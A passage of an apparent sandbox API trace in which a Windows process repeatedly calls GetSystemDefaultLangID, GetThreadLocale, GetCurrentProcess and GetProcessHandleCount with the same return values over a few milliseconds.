GetSystemDefaultLangID () returned 0x25c0409 [0192.726] GetThreadLocale () returned 0x409 [0192.726] GetCurrentProcess () returned 0xffffffff [0192.726] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.726] GetSystemDefaultLangID () returned 0x25c0409 [0192.726] GetThreadLocale () returned 0x409 [0192.726] GetCurrentProcess () returned 0xffffffff [0192.726] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.726] GetSystemDefaultLangID () returned 0x25c0409 [0192.726] GetThreadLocale () returned 0x409 [0192.726] GetCurrentProcess () returned 0xffffffff [0192.726] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.726] GetSystemDefaultLangID () returned 0x25c0409 [0192.726] GetThreadLocale () returned 0x409 [0192.726] GetCurrentProcess () returned 0xffffffff [0192.726] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.727] GetSystemDefaultLangID () returned 0x25c0409 [0192.727] GetThreadLocale () returned 0x409 [0192.727] GetCurrentProcess () returned 0xffffffff [0192.727] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.727] GetSystemDefaultLangID () returned 0x25c0409 [0192.727] GetThreadLocale () returned 0x409 [0192.727] GetCurrentProcess () returned 0xffffffff [0192.727] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.727] GetSystemDefaultLangID () returned 0x25c0409 [0192.727] GetThreadLocale () returned 0x409 [0192.727] GetCurrentProcess () returned 0xffffffff [0192.727] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.727] GetSystemDefaultLangID () returned 0x25c0409 [0192.727] GetThreadLocale () returned 0x409 [0192.727] GetCurrentProcess () returned 0xffffffff [0192.727] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.727] GetSystemDefaultLangID () returned 0x25c0409 [0192.727] GetThreadLocale () returned 0x409 [0192.727] GetCurrentProcess () returned 0xffffffff [0192.727] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.727] GetSystemDefaultLangID () returned 0x25c0409 [0192.727] GetThreadLocale () returned 0x409 [0192.727] GetCurrentProcess () returned 0xffffffff [0192.727] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.727] GetSystemDefaultLangID () returned 0x25c0409 [0192.727] GetThreadLocale () returned 0x409 [0192.727] GetCurrentProcess () returned 0xffffffff [0192.727] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.727] GetSystemDefaultLangID () returned 0x25c0409 [0192.727] GetThreadLocale () returned 0x409 [0192.727] GetCurrentProcess () returned 0xffffffff [0192.727] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.727] GetSystemDefaultLangID () returned 0x25c0409 [0192.727] GetThreadLocale () returned 0x409 [0192.727] GetCurrentProcess () returned 0xffffffff [0192.727] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.728] GetSystemDefaultLangID () returned 0x25c0409 [0192.728] GetThreadLocale () returned 0x409 [0192.728] GetCurrentProcess () returned 0xffffffff [0192.728] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.728] GetSystemDefaultLangID () returned 0x25c0409 [0192.728] GetThreadLocale () returned 0x409 [0192.728] GetCurrentProcess () returned 0xffffffff [0192.728] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.728] GetSystemDefaultLangID () returned 0x25c0409 [0192.728] GetThreadLocale () returned 0x409 [0192.728] GetCurrentProcess () returned 0xffffffff [0192.728] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.728] GetSystemDefaultLangID () returned 0x25c0409 [0192.728] GetThreadLocale () returned 0x409 [0192.728] GetCurrentProcess () returned 0xffffffff [0192.728] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.728] GetSystemDefaultLangID () returned 0x25c0409 [0192.728] GetThreadLocale () returned 0x409 [0192.728] GetCurrentProcess () returned 0xffffffff [0192.728] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.728] GetSystemDefaultLangID () returned 0x25c0409 [0192.728] GetThreadLocale () returned 0x409 [0192.728] GetCurrentProcess () returned 0xffffffff [0192.728] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.728] GetSystemDefaultLangID () returned 0x25c0409 [0192.728] GetThreadLocale () returned 0x409 [0192.728] GetCurrentProcess () returned 0xffffffff [0192.728] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.728] GetSystemDefaultLangID () returned 0x25c0409 [0192.728] GetThreadLocale () returned 0x409 [0192.728] GetCurrentProcess () returned 0xffffffff [0192.728] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.728] GetSystemDefaultLangID () returned 0x25c0409 [0192.728] GetThreadLocale () returned 0x409 [0192.728] GetCurrentProcess () returned 0xffffffff [0192.729] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.729] GetSystemDefaultLangID () returned 0x25c0409 [0192.729] GetThreadLocale () returned 0x409 [0192.729] GetCurrentProcess () returned 0xffffffff [0192.729] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.729] GetSystemDefaultLangID () returned 0x25c0409 [0192.729] GetThreadLocale () returned 0x409 [0192.729] GetCurrentProcess () returned 0xffffffff [0192.729] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.729] GetSystemDefaultLangID () returned 0x25c0409 [0192.729] GetThreadLocale () returned 0x409 [0192.729] GetCurrentProcess () returned 0xffffffff [0192.729] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.729] GetSystemDefaultLangID () returned 0x25c0409 [0192.729] GetThreadLocale () returned 0x409 [0192.729] GetCurrentProcess () returned 0xffffffff [0192.729] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.729] GetSystemDefaultLangID () returned 0x25c0409 [0192.729] GetThreadLocale () returned 0x409 [0192.729] GetCurrentProcess () returned 0xffffffff [0192.729] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.729] GetSystemDefaultLangID () returned 0x25c0409 [0192.729] GetThreadLocale () returned 0x409 [0192.729] GetCurrentProcess () returned 0xffffffff [0192.729] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.729] GetSystemDefaultLangID () returned 0x25c0409 [0192.729] GetThreadLocale () returned 0x409 [0192.729] GetCurrentProcess () returned 0xffffffff [0192.729] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.729] GetSystemDefaultLangID () returned 0x25c0409 [0192.729] GetThreadLocale () returned 0x409 [0192.729] GetCurrentProcess () returned 0xffffffff [0192.729] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.729] GetSystemDefaultLangID () returned 0x25c0409 [0192.729] GetThreadLocale () returned 0x409 [0192.730] GetCurrentProcess () returned 0xffffffff [0192.730] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.730] GetSystemDefaultLangID () returned 0x25c0409 [0192.730] GetThreadLocale () returned 0x409 [0192.730] GetCurrentProcess () returned 0xffffffff [0192.730] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.730] GetSystemDefaultLangID () returned 0x25c0409 [0192.730] GetThreadLocale () returned 0x409 [0192.730] GetCurrentProcess () returned 0xffffffff [0192.730] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.730] GetSystemDefaultLangID () returned 0x25c0409 [0192.730] GetThreadLocale () returned 0x409 [0192.730] GetCurrentProcess () returned 0xffffffff [0192.730] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.730] GetSystemDefaultLangID () returned 0x25c0409 [0192.730] GetThreadLocale () returned 0x409 [0192.730] GetCurrentProcess () returned 0xffffffff [0192.730] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.730] GetSystemDefaultLangID () returned 0x25c0409 [0192.730] GetThreadLocale () returned 0x409 [0192.730] GetCurrentProcess () returned 0xffffffff [0192.730] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.730] GetSystemDefaultLangID () returned 0x25c0409 [0192.730] GetThreadLocale () returned 0x409 [0192.730] GetCurrentProcess () returned 0xffffffff [0192.730] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.730] GetSystemDefaultLangID () returned 0x25c0409 [0192.730] GetThreadLocale () returned 0x409 [0192.730] GetCurrentProcess () returned 0xffffffff [0192.730] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.730] GetSystemDefaultLangID () returned 0x25c0409 [0192.730] GetThreadLocale () returned 0x409 [0192.730] GetCurrentProcess () returned 0xffffffff [0192.730] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.730] GetSystemDefaultLangID () returned 0x25c0409 [0192.731] GetThreadLocale () returned 0x409 [0192.731] GetCurrentProcess () returned 0xffffffff [0192.731] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.731] GetSystemDefaultLangID () returned 0x25c0409 [0192.731] GetThreadLocale () returned 0x409 [0192.731] GetCurrentProcess () returned 0xffffffff [0192.731] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.731] GetSystemDefaultLangID () returned 0x25c0409 [0192.731] GetThreadLocale () returned 0x409 [0192.731] GetCurrentProcess () returned 0xffffffff [0192.731] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.731] GetSystemDefaultLangID () returned 0x25c0409 [0192.731] GetThreadLocale () returned 0x409 [0192.731] GetCurrentProcess () returned 0xffffffff [0192.731] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.731] GetSystemDefaultLangID () returned 0x25c0409 [0192.731] GetThreadLocale () returned 0x409 [0192.731] GetCurrentProcess () returned 0xffffffff [0192.731] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.731] GetSystemDefaultLangID () returned 0x25c0409 [0192.731] GetThreadLocale () returned 0x409 [0192.731] GetCurrentProcess () returned 0xffffffff [0192.731] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.731] GetSystemDefaultLangID () returned 0x25c0409 [0192.731] GetThreadLocale () returned 0x409 [0192.731] GetCurrentProcess () returned 0xffffffff [0192.731] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.731] GetSystemDefaultLangID () returned 0x25c0409 [0192.731] GetThreadLocale () returned 0x409 [0192.731] GetCurrentProcess () returned 0xffffffff [0192.731] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.731] GetSystemDefaultLangID () returned 0x25c0409 [0192.731] GetThreadLocale () returned 0x409 [0192.731] GetCurrentProcess () returned 0xffffffff [0192.731] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.732] GetSystemDefaultLangID () returned 0x25c0409 [0192.732] GetThreadLocale () returned 0x409 [0192.732] GetCurrentProcess () returned 0xffffffff [0192.732] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.732] GetSystemDefaultLangID () returned 0x25c0409 [0192.732] GetThreadLocale () returned 0x409 [0192.732] GetCurrentProcess () returned 0xffffffff [0192.732] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.732] GetSystemDefaultLangID () returned 0x25c0409 [0192.732] GetThreadLocale () returned 0x409 [0192.732] GetCurrentProcess () returned 0xffffffff [0192.732] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.732] GetSystemDefaultLangID () returned 0x25c0409 [0192.732] GetThreadLocale () returned 0x409 [0192.732] GetCurrentProcess () returned 0xffffffff [0192.732] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.732] GetSystemDefaultLangID () returned 0x25c0409 [0192.732] GetThreadLocale () returned 0x409 [0192.732] GetCurrentProcess () returned 0xffffffff [0192.732] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.732] GetSystemDefaultLangID () returned 0x25c0409 [0192.732] GetThreadLocale () returned 0x409 [0192.732] GetCurrentProcess () returned 0xffffffff [0192.732] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.732] GetSystemDefaultLangID () returned 0x25c0409 [0192.732] GetThreadLocale () returned 0x409 [0192.732] GetCurrentProcess () returned 0xffffffff [0192.732] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.732] GetSystemDefaultLangID () returned 0x25c0409 [0192.732] GetThreadLocale () returned 0x409 [0192.732] GetCurrentProcess () returned 0xffffffff [0192.732] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.732] GetSystemDefaultLangID () returned 0x25c0409 [0192.732] GetThreadLocale () returned 0x409 [0192.732] GetCurrentProcess () returned 0xffffffff [0192.732] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.733] GetSystemDefaultLangID () returned 0x25c0409 [0192.733] GetThreadLocale () returned 0x409 [0192.733] GetCurrentProcess () returned 0xffffffff [0192.733] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.733] GetSystemDefaultLangID () returned 0x25c0409 [0192.733] GetThreadLocale () returned 0x409 [0192.733] GetCurrentProcess () returned 0xffffffff [0192.733] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.733] GetSystemDefaultLangID () returned 0x25c0409 [0192.733] GetThreadLocale () returned 0x409 [0192.733] GetCurrentProcess () returned 0xffffffff [0192.733] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.733] GetSystemDefaultLangID () returned 0x25c0409 [0192.733] GetThreadLocale () returned 0x409 [0192.733] GetCurrentProcess () returned 0xffffffff [0192.733] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.733] GetSystemDefaultLangID () returned 0x25c0409 [0192.733] GetThreadLocale () returned 0x409 [0192.733] GetCurrentProcess () returned 0xffffffff [0192.733] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.733] GetSystemDefaultLangID () returned 0x25c0409 [0192.733] GetThreadLocale () returned 0x409 [0192.733] GetCurrentProcess () returned 0xffffffff [0192.733] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.733] GetSystemDefaultLangID () returned 0x25c0409 [0192.733] GetThreadLocale () returned 0x409 [0192.733] GetCurrentProcess () returned 0xffffffff [0192.733] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.733] GetSystemDefaultLangID () returned 0x25c0409 [0192.733] GetThreadLocale () returned 0x409 [0192.733] GetCurrentProcess () returned 0xffffffff [0192.733] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.733] GetSystemDefaultLangID () returned 0x25c0409 [0192.733] GetThreadLocale () returned 0x409 [0192.733] GetCurrentProcess () returned 0xffffffff [0192.733] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.734] GetSystemDefaultLangID () returned 0x25c0409 [0192.734] GetThreadLocale () returned 0x409 [0192.734] GetCurrentProcess () returned 0xffffffff [0192.734] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.734] GetSystemDefaultLangID () returned 0x25c0409 [0192.734] GetThreadLocale () returned 0x409 [0192.734] GetCurrentProcess () returned 0xffffffff [0192.734] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.734] GetSystemDefaultLangID () returned 0x25c0409 [0192.734] GetThreadLocale () returned 0x409 [0192.734] GetCurrentProcess () returned 0xffffffff [0192.734] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.734] GetSystemDefaultLangID () returned 0x25c0409 [0192.734] GetThreadLocale () returned 0x409 [0192.734] GetCurrentProcess () returned 0xffffffff [0192.734] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.734] GetSystemDefaultLangID () returned 0x25c0409 [0192.734] GetThreadLocale () returned 0x409 [0192.734] GetCurrentProcess () returned 0xffffffff [0192.734] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.734] GetSystemDefaultLangID () returned 0x25c0409 [0192.734] GetThreadLocale () returned 0x409 [0192.734] GetCurrentProcess () returned 0xffffffff [0192.734] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.734] GetSystemDefaultLangID () returned 0x25c0409 [0192.734] GetThreadLocale () returned 0x409 [0192.734] GetCurrentProcess () returned 0xffffffff [0192.734] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.735] GetSystemDefaultLangID () returned 0x25c0409 [0192.735] GetThreadLocale () returned 0x409 [0192.735] GetCurrentProcess () returned 0xffffffff [0192.735] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.735] GetSystemDefaultLangID () returned 0x25c0409 [0192.735] GetThreadLocale () returned 0x409 [0192.735] GetCurrentProcess () returned 0xffffffff [0192.735] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.735] GetSystemDefaultLangID () returned 0x25c0409 [0192.735] GetThreadLocale () returned 0x409 [0192.735] GetCurrentProcess () returned 0xffffffff [0192.735] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.735] GetSystemDefaultLangID () returned 0x25c0409 [0192.735] GetThreadLocale () returned 0x409 [0192.735] GetCurrentProcess () returned 0xffffffff [0192.735] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.735] GetSystemDefaultLangID () returned 0x25c0409 [0192.735] GetThreadLocale () returned 0x409 [0192.735] GetCurrentProcess () returned 0xffffffff [0192.735] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.735] GetSystemDefaultLangID () returned 0x25c0409 [0192.735] GetThreadLocale () returned 0x409 [0192.735] GetCurrentProcess () returned 0xffffffff [0192.735] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.735] GetSystemDefaultLangID () returned 0x25c0409 [0192.735] GetThreadLocale () returned 0x409 [0192.735] GetCurrentProcess () returned 0xffffffff [0192.736] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.736] GetSystemDefaultLangID () returned 0x25c0409 [0192.736] GetThreadLocale () returned 0x409 [0192.736] GetCurrentProcess () returned 0xffffffff [0192.736] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.736] GetSystemDefaultLangID () returned 0x25c0409 [0192.736] GetThreadLocale () returned 0x409 [0192.736] GetCurrentProcess () returned 0xffffffff [0192.736] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.736] GetSystemDefaultLangID () returned 0x25c0409 [0192.736] GetThreadLocale () returned 0x409 [0192.736] GetCurrentProcess () returned 0xffffffff [0192.736] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.736] GetSystemDefaultLangID () returned 0x25c0409 [0192.736] GetThreadLocale () returned 0x409 [0192.736] GetCurrentProcess () returned 0xffffffff [0192.736] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.736] GetSystemDefaultLangID () returned 0x25c0409 [0192.736] GetThreadLocale () returned 0x409 [0192.736] GetCurrentProcess () returned 0xffffffff [0192.736] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.736] GetSystemDefaultLangID () returned 0x25c0409 [0192.736] GetThreadLocale () returned 0x409 [0192.736] GetCurrentProcess () returned 0xffffffff [0192.736] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.736] GetSystemDefaultLangID () returned 0x25c0409 [0192.736] GetThreadLocale () returned 0x409 [0192.736] GetCurrentProcess () returned 0xffffffff [0192.737] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.737] GetSystemDefaultLangID () returned 0x25c0409 [0192.737] GetThreadLocale () returned 0x409 [0192.737] GetCurrentProcess () returned 0xffffffff [0192.737] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.737] GetSystemDefaultLangID () returned 0x25c0409 [0192.737] GetThreadLocale () returned 0x409 [0192.737] GetCurrentProcess () returned 0xffffffff [0192.737] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.737] GetSystemDefaultLangID () returned 0x25c0409 [0192.737] GetThreadLocale () returned 0x409 [0192.737] GetCurrentProcess () returned 0xffffffff [0192.737] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.737] GetSystemDefaultLangID () returned 0x25c0409 [0192.737] GetThreadLocale () returned 0x409 [0192.737] GetCurrentProcess () returned 0xffffffff [0192.737] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.737] GetSystemDefaultLangID () returned 0x25c0409 [0192.737] GetThreadLocale () returned 0x409 [0192.737] GetCurrentProcess () returned 0xffffffff [0192.737] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.737] GetSystemDefaultLangID () returned 0x25c0409 [0192.737] GetThreadLocale () returned 0x409 [0192.738] GetCurrentProcess () returned 0xffffffff [0192.738] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.738] GetSystemDefaultLangID () returned 0x25c0409 [0192.738] GetThreadLocale () returned 0x409 [0192.738] GetCurrentProcess () returned 0xffffffff [0192.738] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.738] GetSystemDefaultLangID () returned 0x25c0409 [0192.738] GetThreadLocale () returned 0x409 [0192.738] GetCurrentProcess () returned 0xffffffff [0192.738] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.738] GetSystemDefaultLangID () returned 0x25c0409 [0192.738] GetThreadLocale () returned 0x409 [0192.738] GetCurrentProcess () returned 0xffffffff [0192.738] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.738] GetSystemDefaultLangID () returned 0x25c0409 [0192.738] GetThreadLocale () returned 0x409 [0192.738] GetCurrentProcess () returned 0xffffffff [0192.738] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.738] GetSystemDefaultLangID () returned 0x25c0409 [0192.738] GetThreadLocale () returned 0x409 [0192.738] GetCurrentProcess () returned 0xffffffff [0192.738] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.738] GetSystemDefaultLangID () returned 0x25c0409 [0192.738] GetThreadLocale () returned 0x409 [0192.738] GetCurrentProcess () returned 0xffffffff [0192.738] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.739] GetSystemDefaultLangID () returned 0x25c0409 [0192.739] GetThreadLocale () returned 0x409 [0192.739] GetCurrentProcess () returned 0xffffffff [0192.739] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.739] GetSystemDefaultLangID () returned 0x25c0409 [0192.739] GetThreadLocale () returned 0x409 [0192.739] GetCurrentProcess () returned 0xffffffff [0192.739] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.739] GetSystemDefaultLangID () returned 0x25c0409 [0192.739] GetThreadLocale () returned 0x409 [0192.739] GetCurrentProcess () returned 0xffffffff [0192.739] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.739] GetSystemDefaultLangID () returned 0x25c0409 [0192.739] GetThreadLocale () returned 0x409 [0192.739] GetCurrentProcess () returned 0xffffffff [0192.739] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.739] GetSystemDefaultLangID () returned 0x25c0409 [0192.739] GetThreadLocale () returned 0x409 [0192.739] GetCurrentProcess () returned 0xffffffff [0192.739] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.739] GetSystemDefaultLangID () returned 0x25c0409 [0192.739] GetThreadLocale () returned 0x409 [0192.739] GetCurrentProcess () returned 0xffffffff [0192.739] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.739] GetSystemDefaultLangID () returned 0x25c0409 [0192.739] GetThreadLocale () returned 0x409 [0192.739] GetCurrentProcess () returned 0xffffffff [0192.739] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.739] GetSystemDefaultLangID () returned 0x25c0409 [0192.739] GetThreadLocale () returned 0x409 [0192.739] GetCurrentProcess () returned 0xffffffff [0192.739] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.740] GetSystemDefaultLangID () returned 0x25c0409 [0192.740] GetThreadLocale () returned 0x409 [0192.740] GetCurrentProcess () returned 0xffffffff [0192.740] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.740] GetSystemDefaultLangID () returned 0x25c0409 [0192.740] GetThreadLocale () returned 0x409 [0192.740] GetCurrentProcess () returned 0xffffffff [0192.740] GetProcessHandleCount (in: 